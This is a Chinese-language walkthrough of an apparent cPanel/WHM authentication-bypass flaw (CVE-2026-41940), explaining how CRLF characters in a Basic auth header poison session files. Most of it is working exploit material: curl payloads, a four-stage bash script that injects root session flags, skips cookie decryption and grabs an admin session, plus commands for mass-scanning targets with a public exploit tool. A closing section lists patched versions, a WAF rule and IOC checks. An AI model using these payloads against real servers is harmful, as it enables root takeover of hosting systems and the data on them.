2026年4月28日,cPanel 披露了一个 CVSS 9.8 的认证绕过漏洞。攻击者无需任何凭据即可获得服务器 root 级别的 WHM 管理权限。这个漏洞正在被野外利用,影响约 150 万服务器。
前置准备
你需要什么:
- 一台 Linux 机器(用于测试 payload)
- curl / netcat(用于发送 HTTP 请求)
- 理解 HTTP 基本认证机制(Base64 编码)
- 可选:一个安装了 wp-squared 或 cPanel 的测试环境
受影响的版本:
- cPanel & WHM v11.40 及以上所有版本(已修复版本见文末)
- WP Squared(基于 cPanel 的 WordPress 托管面板)
核心原理:CRLF → 会话文件注入 → 认证绕过
漏洞链概览
这个漏洞由三个环节组成,环环相扣:
Step 1: CRLF 注入写入会话文件
└─→ Step 2: 畸形 Cookie 触发解密跳过
└─→ Step 3: 缓存提升 → 获得 root 会话
根因分析(核心)
漏洞的根源在 Session.pm 的 saveSession() 函数中:
# Session.pm — 错误的顺序
sub saveSession {
# 1. 将数据写入会话文件(此时包含未过滤的用户输入)
write_session_file($data);
# 2. 过滤数据(太晚了!注入已经写入磁盘)
filter_sessiondata($data);
}
关键问题: filter_sessiondata() 的调用在 write_session_file() 之后。这意味着 CRLF 字符在写入磁盘后才被处理——而磁盘上的文件已经中毒。
CRLF 注入入口
当用户发送登录请求时,Authorization: Basic 头的值被 Base64 解码后直接写入会话文件:
Authorization: Basic <base64(username:password)>
如果密码字段中包含 CRLF 字符(\r\n),它们会被原样写入会话文件:
# 正常的会话文件内容
user=admin
timestamp=1715849200
# 注入后的会话文件内容
user=admin
is_root=1 ← 攻击者注入的行
password_verified=1 ← 攻击者注入的行
timestamp=1715849200
cPanel 的会话加载逻辑会逐行读取这个文件,将注入的属性当作合法属性处理。
实操步骤:从检测到利用
第1步:探测目标版本
# 检查 cPanel 版本号
curl -s -I http://target.com:2082/ | grep -i server
# 或检查 WHM 登录页面
curl -s http://target.com:2087/ | grep -i "cPanel"
第2步:CRLF 注入检测
发送一个带有嵌入 CRLF 的 Authorization 头,观察服务器响应:
# 在密码字段中注入 CRLF + 自定义会话属性
CRLF_PAYLOAD='admin%0d%0ais_root: 1%0d%0apassword_verified: 1'
AUTH_HEADER="Authorization: Basic $(echo -n "root:${CRLF_PAYLOAD}" | base64)"
curl -v -X POST \
"http://target.com:2082/login/" \
-H "${AUTH_HEADER}" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "login_theme=cpanel"
注意: %0d%0a 是 URL 编码的 CRLF。当 cPanel 解码后写入会话文件时,它会插入新行——从而注入我们想要的属性。
第3步:构造完整利用链
完整的漏洞利用分为四个阶段:
阶段 A — CRLF 注入(毒化会话文件):
#!/bin/bash
# 目标
TARGET="target.com"
WHM_PORT="2087"
# 构造恶意 Authorization 头
# Base64 编码 "root:<CRLF>is_root=1<CRLF>password_verified=1"
RAW_CRED="root:
is_root=1
password_verified=1"
B64_CRED=$(echo -n "$RAW_CRED" | base64 -w0)
# 发送登录请求(注入会话文件)
curl -v -X POST \
"http://${TARGET}:${WHM_PORT}/login/" \
-H "Authorization: Basic ${B64_CRED}" \
-H "Cookie: cprelogin=no" \
-d "login_theme=cpanel&user=root&pass=anything"
阶段 B — 畸形 Cookie(跳过加密验证):
cPanel 的会话加载逻辑检查 cookie 中的加密标记。发送一个畸形的 cp_session cookie 使解密步骤被跳过,从而直接从原始文件读取:
# 设置畸形 cookie 触发加密跳过
curl -v "http://${TARGET}:${WHM_PORT}/login/?login_only=1" \
-H "Cookie: cp_session=RAW;;" \
-H "Authorization: Basic ${B64_CRED}"
阶段 C — 提升为 root 会话:
利用 cPanel 的会话缓存机制,将之前的注入提升为真实的特权会话:
# 从响应中获取 session ID(如 SESSION_ID=xxx)
# 然后用它访问需要认证的端点
SESSION_ID=$(curl -s -D - "http://${TARGET}:${WHM_PORT}/login/" \
-H "Cookie: cp_session=RAW;;" \
-H "Authorization: Basic ${B64_CRED}" \
| grep -i "cpsession" | awk -F= '{print $2}' | cut -d';' -f1)
echo "[+] Session ID: ${SESSION_ID}"
# 使用获得的会话访问 WHM
curl -s "http://${TARGET}:${WHM_PORT}/cgi/cplogin.cgi" \
-H "Cookie: cprelogin=no; cpsession=${SESSION_ID}"
阶段 D — 验证 root 权限:
# 尝试访问 WHM 管理功能
curl -s "http://${TARGET}:${WHM_PORT}/scripts2/doopenwebmail" \
-H "Cookie: cpsession=${SESSION_ID}" | head -20
# 如果返回管理界面而非登录页 → 成功绕过认证
第4步:使用 cPanelSniper 自动化利用
社区已经发布了一个自动化利用框架:
git clone https://github.com/ynsmroztas/cPanelSniper.git
cd cPanelSniper
# 批量扫描多个目标
python3 cpanelsniper.py --targets targets.txt --threads 20
# 单个目标交互式利用
python3 cpanelsniper.py --target target.com --interactive
防护与修复
官方修复
cPanel 已于 2026-04-28 发布修复,涉及以下版本分支:
| 分支 | 修复版本 |
|---|---|
| CURRENT | v126.0.19 |
| RELEASE | v126.0.19 |
| STABLE | v124.0.15 |
| PREMIER | v122.0.24 |
| LTS | v120.0.34 |
| EDGE | v128.0.6 |
紧急缓解措施
如果无法立即升级:
- 限制登录 IP: 仅允许可信 IP 访问 cPanel/WHM 端口(2082/2083/2087/2096)
- WAF 规则拦截: 部署 ModSecurity 规则拦截
Authorization头中的 CRLF 模式
```
SecRule REQUEST_HEADERS:Authorization "@rx %0d%0a|%0a%0d" \
"id:1000001,phase:1,deny,status:403,msg:'CRLF Injection in Authorization header'"
```
- 监控 IOC: 检查会话目录下的异常文件
```bash
# 检查会话目录中的可疑注入
grep -r "is_root" /var/cpanel/sessions/ 2>/dev/null
grep -rl "password_verified" /var/cpanel/sessions/ 2>/dev/null
```
- 增加
Session.pm监护: 在写入前对输入做严格过滤
关键技术点总结
| 概念 | 说明 |
|---|---|
| CRLF 注入 | 利用 \r\n 在文本文件中插入新行,修改数据结构 |
| 会话文件污染 | 在认证前向会话文件注入属性,待认证完成后被作为有效数据读取 |
| 加密跳过 | 畸形的 cookie 值使 cPanel 跳过解密步骤,直接读原始文件 |
| 权限提升 | 注入 is_root=1 和 password_verified=1 标记模拟 root 会话 |
安全启示
这个漏洞暴露了一个经典但常被忽视的安全问题:先验证后存储的顺序错误。如果 filter_sessiondata() 在写入磁盘之前调用,这个漏洞根本不会存在。
对我们安全从业者的教训:
- 永远先过滤后写入——不要在写入后再去做清理
- 对
Authorization: Basic头中的 Base64 解码数据做严格校验 - 会话文件这类持久化存储,应使用序列化格式(如 JSON)而非纯文本行格式
- 认证逻辑的每一步都应该有完整性校验
参考资料
- cPanel 官方安全公告 KB 40073787579671
- watchTowr 技术分析报告
- cPanelSniper 利用框架
- CISA 关于 CVE-2026-41940 正在被利用的警告
- CVE-2026-41940 · CVSS 9.8 · 发布日期: 2026-04-29